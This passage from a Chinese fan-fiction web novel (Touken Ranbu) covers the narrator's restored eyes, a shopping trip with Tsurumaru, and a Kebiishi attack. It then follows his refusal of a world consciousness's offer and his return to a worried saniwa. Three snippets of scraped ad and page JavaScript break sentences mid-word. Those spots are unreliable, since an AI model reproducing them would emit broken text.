而且,大概也会让其他人感觉到不舒服吧?曾经这个世界的同学和大人们大多数很不喜欢被这双眼睛注视,说是很恶心。 “……那也没关系的。”鹤丸国永的手指轻轻拂过我的眼尾,“别担心,你又没做错什么……刚才也说了吧,眼睛还是很漂亮哦。” 我:“可是你也说了,金色才更适合……” “这种时候就相信我啦?”鹤丸国永有些无奈,却没有敲我的头,“放心吧,小鹤。” 他说:“不管最后是什么样子,鹤就是鹤。” “这一点是不会改变的哦。” 我不断下沉的心脏被他的话语托举,竟然就这样慢慢安稳了下来。 大概“鹤丸国永无所不能”的设定依然有效,不久之后,我的眼睛变回了同他一样的颜色。 86.结束吗?还没有 “真的完全变回来了吗?” 即便知道鹤丸国永没必要在这种事上骗我,我还是忍不住确认,“真的?” “真的哦。”鹤丸国永摸摸我的头,倒是没有不耐烦的样子。 他仍然不让我起身走动,还用对待高危□□一样的态度把手机塞远,于是我也没办法通过镜子或者拍照功能亲眼分辨。 “鹤丸。”我被他裹在被子里,看着他走来走去,“你在做什么?” “在找吃的……啊有了。”鹤丸国永从打开的柜子里端出一盘水果和一盘点心,拿回来放到了可以直接拉到床上的横桌上,“我看到有便签提示,这是送的点心……先吃一点填填肚子吧。” 刚才鹤丸国永确认过时间,现在已经是凌晨,再过不久太阳就该升起来了。 我没有饥饿感,刀剑男士的身躯也不会因为少一顿饭就垮掉……但就像我在意鹤丸国永一样,他也在意我。 小蛋糕很好吃,甜香充满味蕾,唯一的问题是鹤丸国永不让我动,弄得我像个蚕蛹一样只能坐在原地等喂。 “其实不用喂我的。”一起把最能补充糖分的巧克力蛋糕吃完,我从被子缝隙中伸出手去拉鹤丸国永的衣袖,“我可以……” “你不可以。”鹤丸国永拍拍我的头顶,道,“说起来,现在感觉怎么样了?” “已经好很多了。”我认真感觉了一下身体状况,诚实回答,“不太冷,也没有发晕,一点都不痛。” 无力感和心悸都已经基本消失,手脚冰凉是我的老毛病,就算全身都裹在被子里也很难暖起来,最在意的眼睛颜色问题已经解决,我自认为完全OK了。 “那就好。”鹤丸国永放好餐盘,将长桌推回原位,又坐回我身边,“让我来检查一下……” 他一边说一边抵住了我的额头,我不知道是检查什么,但还是乖乖闭眼。 我与他的灵魂本就同源,神气也相互交融,此时的共鸣温和而顺理成章,暖意充盈全身。 “嗯……”鹤丸国永同我分开,暖意却并未消失,他说,“小鹤,我似乎猜到你的眼睛为什么会变色了。” “为什么?”我睁开眼,决心知道原因后一定不会再让这种事发生。 “和你的灵力有关。”鹤丸老师展开说明,“你拥有的灵力很纯净,并且比我认识的大部分刀剑付丧神都要高——就连之前你见过的那个为老不尊的家伙,单说灵力量的话都比不上你哦。” 那下次聚会我帮你打他……等等,为什么还有下次。 “但是。”鹤丸国永说,“刚才醒过来的时候,你身体里的灵力少了三分之二,结合你同我说的在碎片中做的事,或许就是因为这个才会导致你的眼睛颜色改变。” 灵力……我的灵力不光来源于自身,还有一直守护着我的大家,他们的祝福清洗了我几乎浸满核心的暗堕,可我在来到这个世界时,依然是“暗堕鹤丸国永”的外表特征。 兴许是因为我不承认吧,毕竟自己已经不再是必须保持原状的“鹤丸国永”了,这种延长线的战斗扔给了那具只剩本能的空壳。 我只是自认应当如此,哪怕暗堕的气息不复存在,污泥般的影响也该消失,可那种纯白的样子,不适合我这种罪人。 之后,我与世界意识做下交易,成为了“■■”……成为了人类。 这个没有任何超自然力量存在的世界并不允许太过超出“设定”的事物,“■■”不会拥有灵力,黑发红瞳的人类没有那种强大的力量,也不需要。 而在我死去后、穿过世界壁垒之时,来迎接我的大家又把被我切割的灵力还给了我,灵魂和神气的重归,也让我的外表不会再只是假发与美瞳塑造而成的“角色扮演”。 ……因为我想要成为“鹤丸国永”。 这种反复无常,也真是令人发笑。 这么弄来弄去的结果,大概就是变成了什么奇怪的机制……这边的世界接纳我的存在,那边的世界同样也是我的归宿,拥有灵力的我被认为是原本的“付丧神鹤丸国永”,灵力干涸的则是“人类鹤丸国永”,若用的灵力再多一些,我的头发都会变成黑色也说不定。 不过,等灵力恢复到一定程度,改变的外貌也会恢复,所以鹤丸国永才会观察到我的眼睛颜色随着时间而改变。 嗯……不知道具体细节是否正确,但至少能解释得通,这样的话倒是还好啦,至少不是出了什么坏问题,以后万一战斗的时候灵力消耗过度被【青】知道,也有合理的理由能让她安心。 以后再悄悄试试也行,总比一无所知地持续恐慌下去要好很多。 “听起来我以后能派上点用场。”我说,“能帮上忙就好了。” 鹤丸国永有些无奈:“不用想那么远的事啦……话说回来,你好像不太会用灵力,回去得记得在训练计划上加上这个。” “不过。”鹤丸国永靠在我肩上,弯了弯眼,“你本来就很厉害,一直都在帮大家的忙哦。” …… 冬日的日出总是来得很晚,我与鹤丸国永还是又睡了一会儿,才继续尚未结束的远征。 ……实际上,光说任务的话,应该算是“完全结束”了才对。 出于某种预感,以及我自己的感觉,这个世界上对我来说最重要的物品、最值得眷恋和在意的事物,已经在手中了。 ……虽然账号消失,手机鹤丸国永也不让我碰就是了。 其他地方没什么必要去,包括我死去的那个地方,那个房子从来不是我的家,本也没有我存在的位置,和支撑我存在的意义。 已经完全结束了。 “那今天就单纯地去转转吧?”鹤丸国永往我碗里夹了一个烤肠,“不知道给小伽罗买什么伴手礼的话,逛逛说不定就能找到了。” 嗯,还有答应大家的奶茶和点心…… 还有烟花。 酒店提供的早餐味道很好,今天还出了太阳没那么冷,鹤丸国永牵着我的手,等待电梯下行。 【青】依然没有联系我们,姑且发了报平安的消息过去,希望她能看到。 跟着鹤丸国永逛到附近的商场,我抬手接过他买的奶茶,又等着他在我身边的位置上坐下。 “说起来——” 鹤丸国永吸了一口菜单上标着“超不推荐”的泰式柠檬汁,动作忽然顿住。 我等了两秒没等到后文,转头看他:“鹤丸?” 鹤丸国永把杯子放下,揉了揉自己的脸,开口时嗓子哑了一瞬,他咳了两声清清嗓子,才重新说道:“说起来,你想去看看吗?那个叫‘漫展’的东西。” “是活动。”我抬手去摸他的脖颈,却碰到微凉的项链——哪天去给他买一条新项链当礼物好了——好像没有受伤的痕迹,我于是低头凑过去,准备吸一口他的柠檬汁,“好像明天才开始,今天应该什么都看不到——呃、唔……” 只是一口,就几乎把完全不挑食的我击沉了。 这杯子里真的是柠檬汁吗?我根本没有尝到酸味……又或者在尝到酸味之前,舌头就已经被浓厚到恐怖的咸涩给绑架了,齁得我差点晕过去。 ……难怪会标“超不推荐”,这种生化武器一样的东西烦请干脆不要上架啊。 想开点的话,以后小光他们要是问我有没有不喜欢吃的,就有答案了。 鹤丸国永拍拍我的背,语气复杂:“这可真是吓一跳啊。” 嗯,吓一大跳呢。 于是鹤丸国永又预订了十杯柠檬汁,在店员诡异的注视中拉着我去买其他东西。 贞想要的漂亮饰品在这个商场就有,虽然我看不太清楚,但鹤丸国永的审美不必担心,由他来就好,我么……只能试着挑了一个蓝色的,反光倒是挺闪。 另外,也给加州清光选了一枚坠着红宝石的束发带。 我的白鹤胸针还是他买给我的呢,只是指甲油这种东西在这里买不如去万屋,之前做的蔻丹也是玩乐价值更多,希望他会喜欢这个发带吧。 小光想要的奶茶配方靠手机搜到了,我不太确定做出来的味道是不是一模一样,但说实话,很多奶茶即便是不同的品牌做出来的味道似乎也是差不多的,喝个新奇就是了——反正我相信小光的手艺,他做出来的东西不可能难喝。 ……至少不可能比那个柠檬汁难喝。 粟田口的短刀们也有想要的东西,比如上次鹤丸国永分出去的零食,我要再感叹一次,2205年有储物空间真是太好了。 然后是……要给伽罗的东西。 他会喜欢什么呢?我在记忆中没能找到,就连“喜欢咸梅干”的说法都只是通过外物了解,他总是太过沉默,也相当别扭,造成的结果就是几乎无法得到明确的投其所好的礼物。 这方面来说,他是不是比我要笨拙? 但是他在我的眼中、在“鹤丸国永”的眼中,也是像粟田口那样的孩子也说不定——毕竟在“鹤丸国永”到达伊达家的时候,他还年幼呢,外表说不定还没有我大。 可是,不能用哄小孩子的东西敷衍他呀。 与我不同,他已经见过花与海,看过美丽的天空,感受过世界的美丽,不再、不再…… 不再只是我面前碎去的铁器,不再只是那人口中无望的救赎,不再只是连双目都无法相视的一声嗡鸣。 能够被我的手指触碰到的,也有他的体温。 “小鹤。”鹤丸国永抱着什么东西凑过来,递到我怀里给我摸摸,“这种怎么样?” 隔着塑料袋也能感觉出来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,是个毛茸茸的东西:“玩偶?” “没错。”鹤丸国永抱起另一个更大一号也更花里胡哨的,“虽然夏天了,可能会有点热,不过很可爱嘛,就像五虎退的小老虎一样,不会因为是夏天就不摸摸对吧?” 你说得对。 “要买两个吗?”我歪了歪头,道,“那个会不会太大了……” “这个是我准备放在三日月枕边吓他一跳的。”鹤丸国永笑眯眯,“托他的福,在终端上找我说让我带你出去玩的家伙又增多了呢。” 一边说着,鹤丸国永一边摁了玩偶的手臂,于是那个玩偶抽风般抖动几秒,突然开始一边播放洗脑音乐一边手舞足蹈…… ……三日月对着这种东西还能说出“甚好甚好”吗,说实话我也有点好奇。 唔,还是继续挑给伽罗的礼物吧。 我摸到一个圆滚滚的东西,对我来说刚好够两只手交叠圈住,捏捏形状,似乎是……鸟球球? 白色的小鸟球球,可爱。 糟了,感觉我也会想要一个。 鹤丸国永显然同我是一种想法。 结果买了五个一模一样的,伽罗自己的礼物依然没有着落。 离开商场去到有烟花贩卖许可的店,鹤丸国永非常愉快地把所有名字奇怪的都买了下来……大概是样子太像什么爆炸狂人,被老板小心翼翼地提醒了要注意防火安全。 本丸全是木头结构,烧起来可不妙啊。 与鹤丸国永一起逛街是件很轻松的事,我甚至不用记住路,也没有必须要紧急完成的任务,走走停停,沿路又买了些小吃,也把该买的伴手礼买齐了。 仔细包装好的东西被店主交到我手上,又在走出一段距离后被我收进储物空间里,总算是了结一桩心事。 弄这东西花的时间有些长了,天色已然暗下来,距离我们离开也不剩多长时间……没有什么不舍的感觉,我只是牵着鹤丸国永的手,静静等待最后时刻的到来。 然后,有什么熟悉的声音出现了。 广告,大屏,熟悉的街道和环境音,我动作稍稍一顿,鹤丸国永便停住了脚步。 “……地方挺大嘛。”鹤丸国永看着远处的场馆,说道,“这些里面有你喜欢的角色吗?” 他拉着我往前走,顺着念了几个挂画上的IP名字,名气确实都很大,至少我都有听说过、也在各种情况下了解过一些剧情。 “应该有。”我说,“不,一定有的。” 一直走到长廊最后,鹤丸国永没再继续点卯般念出那个海报上的字,我同他一起在这里停步。 鹤丸国永:“到尽头了呢。” 我看着他身后樱花飞舞的色彩和熟悉的logo,点头:“嗯,是这样。” 时间转换器发出提醒的响声,这是远征结束的预兆。 就这样结束—— 不对。 有什么地方,不对劲。 风和光影仿佛都停滞在了原地,仿佛存在什么异常一般,空气完全地静止了,在鹤丸国永无法察觉无法观测到的事物之中,有“什么”出现了。 那个“异物”——检非违使,悄无声息地向前挥刀。 鹤丸国永依然如无视了那些声音、无视了那些画面一般地,无视了尚未将身体尽数探出画外的怪物,一向机敏的他并不该犯这样的错,哪怕看不见,杀气和挥刀带来的锋利总该有所感知。 与此同时,时空转换器的光柱将我们包围,受限于坐标定位,此内一米之外便无法移动。 不行,来不及。 我看见陡然加快下劈的刀光,检非违使一改方才宛如坏掉木偶的迟钝姿态,其力势之凶猛让我毫不怀疑,这一刀足以将鹤丸国永几乎以肩头斜劈成两半。 ——开什么玩笑?! 机动还算不错是我难得的优点,灵魂碎片些许崩毁的后遗症已经几乎消失不见,因此,扯动鹤丸国永抽刀格挡将他拦在身后的行动还算顺利。 可是那力道果真太重了,我的本体发出清脆的开裂声,我听见鹤丸国永带着惊慌的声音,时间转换器的表针终于转到最后一格。 来得及,只要再僵持一秒,我就—— 检非违使明明占据优势,却突然抽刀,变换动作后大太刀锋利的刀刃插进我脚下的地面里。 我有一毫秒怀疑它手抖,否则这一刀总该戳进我脚背才算合理——可随后在我脚下扭曲的空间和突然失重的感觉,让它的行动变得顺理成章。 我毕竟不是真正的鹤,再怎么努力,也没法在没有支点的情况下腾空飞起来的。 最后的记忆里,是鹤丸国永向我伸出的手。 ……这下他一定要生气了吧。 明明答应过他……不会掉下去的。 87.自由吗?有时也 这短短的两天,我是不是“醒来”太多次了? 虽说在传送即将完成的同时被扯进了检非违使扭曲的空间中,我却没有被撕成两半,也没有被丢到敌人大本营什么的……甚至那个危险而高大的“怪物”的身影,也不在我的可观测范围内。 检非违使应当同我一起消失了,鹤丸国永在我的视野陷入黑暗之前还没有离开,不知道现在有没有安全回到本丸…… 〖他没事的。〗 突然在空间中响起的声音,带着仿佛含有亿万人感念的空灵。 没有被吓到,我将本体收刀入鞘,它——不,“祂”,应当没有恶意。 我与祂是见过的。 曾被封存的记忆中,有过与祂的会面。 要说的话,也算是我的恩人吧? 收留了流浪的我、完美符合大家的请求、心软又无法搅动命运丝线的,这个世界的“世界意识”。 我不认为祂会伤害鹤丸国永,也不觉得祂会伤害我,可分别前的景象太过惨烈,让我担心鹤丸国永会很着急。 〖他还没有回去。〗猜到我在说什么,祂主动说道,〖目前身处世界夹缝之中——他不肯放开你的手,让我很没办法。〗 啊,原来如此,因为祂没有实体,所以现在的我其实也只是意识——难怪我明明听到了本体受损的声音,刚才却没有摸到,身体也没有流血。 〖关于这点,我很抱歉。〗祂皱起眉,表达歉意,〖那个东西太不可控,将一切消去的本能竟然短暂压过我的指令……我会为你治疗的。〗 此世不存在刀剑付丧神,当然也不会存在时间溯行军或者检非违使,祂应是为了迎合某种“设定”,在我留下的所有碎片被收拢之后,想办法将彻底与世界分离开的我们判定为“非此世之人”,然后捏了一个检非违使来进行清除。 〖我并不是想伤害你。〗祂说,〖只是想把你留下来。〗 我有些困惑。 “为什么呢?”我问道,“我自认没什么价值。” 该为那孩子改的命已经改过,“■■”的人生已经结束在枯寂悲哀的十四岁,这里应当不再需要我了才对。 〖别那样说。〗祂说着和大家一样的话,却并不会伸出手来敲敲我的头,〖可你需要这里呀——这里对你有价值。〗 这个答案只令我更加困惑。 〖就像你说的那样,你已经行尽了“■■”的命运之路,完成了自己的承诺……你自由了。〗祂说,〖可我并不想驱逐你。〗 祂在还未听到年幼的那孩子的祈愿时便已经选择接纳我逃至此处的灵,甚至在我回到原本的世界后,也没有拒绝我的再次到访,此时当然也没有必要用这样激进的方式驱逐——就像祂刚才说的,祂是想留下我。 祂说:〖你应当留下来的,〗 〖在这里,你已经自由了。〗 无需遵循命运的支配,也不再拥有“■■”那些只能带来黑暗和毁灭的虚假亲缘,最开始为我牵出的命线则由原来的“■■君”接续,我被世界承认的同时,没有必须要走向的未来了。 想要的身份祂可以重新准备,可以保证最安全又最自如,祂愿意准备住所和资金,就当是为鹤以身替死的一点小报酬。 祂说的这些,在谁看来似乎都是非常令人心动的事。 衣食无忧吃穿不愁,还没有任何负担——甚至不用像如今的“■■君”一样偶尔为学业困扰。 这曾是予我祝福的大家,想要我过上的生活。 可是…… “不行。”我说,“谢谢你为我考虑这么多,但我不会留下来的。” 〖为什么?〗祂并未生气,只是显出孩子般的茫然来。 祂的声音更近了些,却并不闹耳,祂问道:〖你不想去了吗?〗 曾经憧憬过的大海,沙滩,未能亲眼看见过的那些景色,难道不想去看了吗? 〖你已经自由了,无论是想在海边漫步还是于花丛中穿行,又或者只是想要一个安静的房间待上一整天,都可以轻易实现。〗 〖没有人再值得你牺牲,也不需要你做出牺牲了,不会有人绊住你的脚步,要你去实现他们的所求。〗 祂说:〖这个世界不会再带给你疼痛了。〗 是吗?啊,或许吧,无牵无挂的自由……也是自由啊。 又或者说,那样空落落的、除了己身之外什么都无需在意的,什么都没有的,才是真正的自由吗? 太过深奥的事情,我总是思考不来……或许我真的渴求过吧,那样仿佛能够在云朵间随意穿行的轻盈,不会给人恶感。 ——可是我还有一场烟花要去看。 我想在夏天去看海,想等到秋季果实成熟,想在冬日的积雪中玩耍——待到来年春天,又坐在草坪上赏花。 祂只是疑惑:〖这些,在这里不是也可以做吗?〗 我轻轻摇头:“不一样。” 我说:“那里还有在等着我的人。” 〖为什么?〗祂再次发问,〖我是知道的,那个世界的人与你之间的关系——可我仔细观察过了,每种惨痛的悲剧,通常都会以感情和牵绊为源头。〗 〖那里不自由。〗祂定下结论,〖会给你提出要求、要你改正的人,会用温暖的话语拖住你脚步的人,会让你因他们分走心神、瞻前顾后的人,他们是你的同伴或者家人,却也是你的枷锁和牢笼。〗 〖回来这里不好吗?这里的你,绝对不会被束缚。〗 听起来很像赌气闹别扭的话语,实际上是祂自认客观理性的真实想法。 或许是吧,若人与人之间拥有的关系连结成丝,出现在镜头前的该是一个个蚕蛹。 但我不会心动。 “我想回到那边的世界去。”我再次重复,“我已经……有想要回去的地方了。” 不再是曾经流浪的鹤,浑浑噩噩随波逐流至此,出于某种怜悯就这样草率地与世界做下交易。 现在,即便再次不慎坠于星海之间,我也有明确的方向了。 “如果我不回去的话,鹤丸会难过,小光伽罗和贞会难过,姬君也会难过,还有本丸的大家……都会难过吧。”察觉到祂些许的不服气,我忍不住笑了一下,“嗯,是的,就像你说的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样,人与人之间的感情会形成牵绊,影响我的选择。” “可是。”我说,“大家的牵绊也好,感情也好,爱也好……从最初开始,就不是枷锁哦。” “我一直……都是这样想的。” 并非得救后才有的观念,而是从一开始……从【鹤丸国永】显现的那一刻起,就这样认为,时至如今也没有改变。 是同伴,是家人,才不是捆住我手脚扼紧我脖颈的锁链。 鹤讨厌让他身体变得沉重的事物,甚至包括被轻易折断的翅翼在内,我却从来没有怨过大家,更不可能有恨。 所以,一定是这样的。 “鹤呢,是不会想要项圈的……”我缓缓说出我的想法,“可是,会想要温暖的巢——也就是家。” 哪怕是常飞的候鸟,也有偏爱的栖息地。 “我必须得回到那里去才行。” ——我要回到家里去。 “这是我自己的选择。” 我不想……在他们面前消失掉啊。 祂沉默片刻,道:〖……真的吗?〗 〖真的可以吗?真的已经没关系了吗?那样曾经致使你痛苦到无法呼吸的世界,真的要原谅吗?〗 “嗯。”我说着,却又轻轻摇头,“不是世界的错。” 存在着“鹤丸国永”、存在着大家、存在着【青】的世界,并非本就是由恶意与破坏组成的地狱。 “是我自己不好啦。”我无奈地轻声自语,“大概也怪‘鹤丸国永’太有魅力……嗯,这样说是不是有些甩锅的嫌疑呢?” “总之,已经没关系了。”我轻拢手指压在心口,感知着这具身体中生命一次次的鼓动,“我已经……哪里都不痛了。” “身体、精神……和心,哪里都没有在痛了。” 并不是在忍耐,也没有苦涩的感情藏于其间,哪怕仍然有着许多意外,我也不再感到辛苦。 “世界很美丽。”我说,“你的世界很好,可我已经找到了归处。” 祂说:〖真的这样就可以了么?不会再受伤了,对么?〗 “这样就可以了。”我闭了闭眼,道,“后者无法保证,毕竟这世间充满了我所不知的惊喜——但我已重新拾回眺望星空的勇气了。” 祂沉默着,不再说话,我的身体却镀上一层蓝色的光辉,逐渐轻盈。 “为了我、思考了这么多,真的非常感谢。”在离开这片空间之前,我看向空中凝结的光辉,“さようなら(再见)。” 说是再见,也算永别。 听见祂的回应时,我已重新在鹤丸国永怀中醒来。 首先感觉到的,是手被握紧的轻微压迫——我看见鹤丸国永离得过近的面容,竟在喜悦之前,先从那之上寻出痛苦的神色来。 笨蛋,怎么露出这种表情来呢?多少也相信我一点嘛……相信我,会选择你这一边。 你不是已经拉住我的手了吗? 我迎着鹤丸国永颤抖的目光,弯起眼笑了一下。 “我回来了哦,鹤丸。” 就这一次选择的话,可以夸夸我吧? 88.表情吗?笑吧 于再次亮起的光柱中从世界夹缝中脱身,我与鹤丸国永终于为这次充满了意外和惊喜的远征画下了句号。 然而惊吓并没有结束。 回到本丸后的第一眼,看到的是全副武装的大家,和一脸严肃的【青】。 什么,难道某天晚上我陪鹤丸国永挖的那个坑真有人摔进去了?明明表面上的掩饰都没做啊? 思维脱线一秒,我还没来得及从鹤丸怀里下来去同被害刃说对不起,【青】已经先一步指挥长谷部冲了上来。 “鹤丸小鹤你们怎么样哪里不舒服哪里受伤了算了不说这些来让长谷部抱着我们先去手入室——” 没有标点符号和任何停顿的话语冲进耳朵,我竟然看见压切长谷部当真抬起手来抱我。 当然,被鹤丸国永避开了。 话说,我也就算了,鹤丸国永也要被抱着跑吗?有点想看啊。 比起注意力完全跑偏的我,鹤丸国永先一步对现状做出了分析。 “姬君、长谷部,我们没事。”鹤丸国永终于舍得让我踩到地上,解释道,“是误会啦误会,虽然确实出了点意外,但总体算是好事。小鹤是受了点伤没错,不过现在已经痊愈了。” 后面那句是多余的,你看【青】听到“伤”这个字的时候都要爆发了。 在场的刃里除了压切长谷部,伊达组的三人最先围上来,听鹤丸国永这样说,也就暂且歇了把我们两个一起打包送到手入室的心思。 这里是自家本丸,鹤丸国永没有再隐瞒伤势的必要——就算他想瞒自己身上的,也不会放过我的。 话虽如此,【青】还是往我们俩身上丢了好几个检查的法术,又打开审神者终端面板查看我们的情况。 她的灵力如水般清冽,滚过的地方散出柔软的凉意,随后便是疲惫被洗去的轻松。 “真的没受伤……”【青】终于松了口气,眼眶却突然红了,“既然没事的话,为什么不回消息呀?” 我与鹤丸国永因她颤抖的声音齐齐僵住。 “一开始就信号错误也就算了,之前也出现过,可是鹤丸突然发一条空白短信给我,之后又无论如何都联系不上……”【青】揪着自己的衣袖,指节收紧到发白,“我真的很担心你们——小鹤也好鹤丸也好,为什么没回我的消息?” 她真的快急疯了。 通讯耳机不管怎么摆弄都只有持续的杂音,鹤丸国永发来的讯息无论用哪种方式解答都只是一片空白——可鹤丸国永为何要发没有任何意义的讯息给她?这种恶作剧从来不在鹤丸国永会做的范畴内。 发过去询问情况的联络石沉大海,不断注入终端的灵力和尝试提前召回的行动都没得到应有的回应,时政给的回复通篇写着无能为力,这还是她自得知小鹤曾经的本丸存在以后第一次再像那样破口大骂,愤怒的同时无力感和恐慌感盈满胸腔。 刀剑们已经穿好出阵服待命,随时准备跟随她出发同拖住两只鹤脚步的存在拼个你死我活,传送光柱亮起的瞬间她生出几分欣喜,却在同时听见面板上标注付丧神重伤的警报。 【青】在此刻发出了尖锐爆鸣。 她短短数秒内思考了很多,她知道对小鹤来说哪怕折断也并不意味着终结,可这并不意味着那些伤就无所谓了。 流过的血不会消失,痛苦不会因为能够忍耐就算作不存在,她从未将刀剑男士当作过无血无泪的工具,此刻心脏都快被血红的汉字逼得停跳。 小鹤总是很容易受伤,这不代表他们应该习惯他的受伤——而且,明明鹤丸国永在他身边。 【青】认定以鹤丸国永的性格,若非对方自己也出了问题,否则绝对不会在自身无事的情况下让小鹤受伤。 那么,除了小鹤,鹤丸国永又受了什么伤、遇到了什么困难? 【青】一边在脑海中发疯,一边在心里对自己说: 如果她的鹤没能回来,她就自己去那个世界找。 她的鹤,被她捡回来的小鹤,她合该平平安安伸展翅翼的两只白鸟,无论如何都不能消失在那种曾让小鹤痛苦无比的世界里。 好在,虽然传送花费的时间似乎比往常多了几秒,两个牵动着所有人心绪的人还是好好地回来了。 【青】没有看到想象中最糟糕的情况,两个人身上没有伤也没有血,虽然小鹤被鹤丸国永抱着,看神情却也没有任何不适,反而因眼前的大家这一副严阵以待的架势露出了几分困惑。 【青】不想哭的。 就像她其实并没有想指责他们,那些不受控制冲出唇舌的话语逐渐混乱,她要说一万遍我好担心你们,却只是要为他们的平安归来表达最深的欣喜。 我好担心你们,这中间发生了好多意外,你们能回来真是太好了。 “……” “对不起,姬君。”我实在不会哄女孩子,然而身旁的鹤丸国永在这方面似乎同样麻爪,我只好先道歉,“让你担心了,对不起。” 具体的理由之后再说吧,当务之急是要让【青】冷静下来……我真的总是惹她难过,实在是很对不起。 好在她并没有失控太久,在我和鹤丸国永不着章法的安慰中慢慢止住了哭泣,一旁的压切长谷部适时递上了柔软干净的手帕,【青】背过身去擦了擦眼睛,整理呼吸,又重新看向我们。 “还是先去手入室,我拜托了时政的医师赶过来,他会再给你们做更细致的检查。”【青】说,“过去的路上,就请你们告诉我发生了什么事吧。” 我们自然是不会说“不”的。 解释的活计一如既往地交给鹤丸国永,我和小光他们落后一步走在一起,在接受医师细致检查前先被三人摸摸碰碰了一遍。 “真的没事的。”我牵着太鼓钟贞宗的手晃了晃,道,“没有受伤,没有摔倒,饭也有好好吃,还回收了最后的碎片。鹤丸抱着我是他自己不放心,但其实我没有虚弱的感觉……啊,但是鹤丸有摔倒。” 走在我和审神者中间的压切长谷部与小光他们一起,向正同【青】解释情况的鹤丸国永投去了犀利的目光。 鹤丸国永如芒在背,面上却不动声色地讲述远征实情,又把自己完全没有收到消息的终端界面给【青】看。 世界意识插手的部分省去,【青】很聪明,在知道世界壁垒存在的条件下也能联想到一些事情,也不会多问。 “可是鹤先生说你受过伤了。”太鼓钟贞宗在同时问出这个问题,微皱着眉,“那是怎么回事?” “遇到点意外……”这是废话,可世界意识相关即便是我也不太能以语言叙述清楚,对鹤丸国永解释的时候只是祂偏心的例外,“算是个乌龙吧,对方并没有恶意,说清楚之后祂帮我治好了,没关系的,别担心。” 虽然我本体都裂了身体上肯定是会有伤口表现的,但其实我压根没有感觉,连看都没有看到,跟着我跳下去停在世界夹缝中的鹤丸国永倒是吓了一跳,可若以【青】这边的时间来算的话,那些伤口在我身上存在的时间恐怕不足一秒。 相比起我来,还是被无辜牵连的鹤丸国永更…… 【青】控制不住音量的声音从前方传来:“灵魂崩毁?!” 啊。 这下如芒在背的变成我了。 然而唯独这件事,我没法遮掩过去啊……毕竟是我灵魂本源的问题,哪怕是祂也做不到把不属于祂世界中的彻底毁灭的事物重新补造。 该说是巧还是不巧呢,手入室到了,而某个曾让我警惕的医师已经等在了里面。 “咦?” 看到我的第一眼,他就如前几次一样毫无距离感地凑了过来——当然,被烛台切光忠挡住了,至少没真凑到我脸上来。 “喂。”【青】警告般皱了眉,“你这又是做什么?” “抱歉抱歉,我只是有点惊讶——哎呀,不愧是‘鹤丸国永’,总是能给人带来惊吓。”医师说,“那个人渣的气息,消失了呢。” 这倒也叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我有些惊讶了。 某人对灵魂附着的研究并非突发奇想,研究场所也是身为医疗世家的家族中更为方便,若不说目的,这种研究也并不会引起太多的注意。 医师说他在某人死后他去翻阅了对方留下来的资料,里面不仅包括对刀剑的观察与折磨和对我的反复实验,也有将灵魂碎片绑定融合的记录。 虽然他对某人的灵魂研究有一些兴趣,但仅限于理论感兴趣,实验绝对敬谢不敏——身为血亲的他对某人的气息感应要高过其他人,所以,他在我身上感觉到了若有若无的违和感。 他一度以为是审神者与刀剑男士之间契约的残留,可在【青】接手之后的再见面依然如此,于是担心那人得逞,但感觉这种东西无法作为证据,我的身上也确实只能检查出灵魂缺失,而没有不属于“鹤丸国永”的部分存在其中。 “其实如果不是你自己解决了的话……”医师默默离【青】远了一些,道,“我还想劝她用上我拿来的那副锁铐呢,那个压制灵力可是一流。” 嗯,这个我知道。 “所以你当时是想借此限制住小鹤的神气和灵力,看看那个人渣的气息会不会显露?”【青】皱眉扫了他一眼,“直接说不就好了,而且明明还有其他办法吧?” “那个人很狡猾,我不确定他能不能听到我们的对话。”医师挠了挠头,“而且这个更能引起‘鹤丸国永’的情绪起伏嘛……当时也有限制行动的意思,不好意思。” 我情绪怎么样不一定,但鹤丸国永情绪起伏倒是绝对会很大……虽然他没表现出来,但现在眸光也冷得吓人。 “对不起,很抱歉,原谅我吧!”医师似乎想来个土下座,双手合十道,“我真的跟那种人渣不是一道的!我恨他恨得要死……不说对刀剑男士的迫害令人不齿,因为家族里出了这么个人,我们的其他正常研究也都被重新核查了,严格得要命,补了好多报告和材料……” 听起来很恐怖啊。 比起医师的诉苦,我更关心鹤丸国永之前在酒店摔的那一跤。 “共感的影响?应该已经完全恢复了,这位‘鹤丸国永’的灵没有任何问题。”医师说,“比你的好多啦。” 虽然是事实,但后面那句真的有必要吗。 医师的检查没有花太久,得出确实没有其他损伤的结果之后,也旁观了我最后的灵魂补全。 “怎么样?小鹤?”明明这套流程走过数遍,【青】也还是紧张,“有哪里难受吗?” “没有哦,姬君。”我抬起头,属于大家的祝福彻底回到灵魂中的令人喜悦,我对【青】和刀剑们说出了曾对世界意识说过的话,“我已经,哪里都不痛了。” 【青】似乎呆住了。 而后,竟然又有了要落泪的趋势。 “咦、我又说错话了吗?”我慌乱地抬起手,不知道该怎么办才好,鹤丸国永却笑了。 “不是那个原因啦,小鹤。”鹤丸国永轻轻抚了抚【青】的背,对我说,“你没做错什么。” 【青】奋力点头。 我茫然地眨了眨眼,围在我身边的大家却都散发着轻松愉快的气息,我于是向烛台切光忠投去求助的目光。 “真的没有哪里不好哦,小鹤先生。”烛台切光忠摸了摸我的头,“我想……” “只是刚才的那个笑容,太叫人高兴了。” “没错!”【青】附和道,“华丽又漂亮,特别好!” “而且,非常温柔。”太鼓钟贞宗补充道,“一点都不苦。” 大俱利伽罗只是站在那里,一言不发,气息却柔软。 我于是想起某个夜晚,大俱利伽罗沉沉的话音。 他说:以后也要这样笑。 属于“鹤丸国永”的表情,终于回到了我的脸上,并非规定了弧度的面具,而是自然而然的表情。 是吗,值得高兴的是,我已经取回了发自内心感到轻松和幸福的能力,和露出笑容的权利了啊。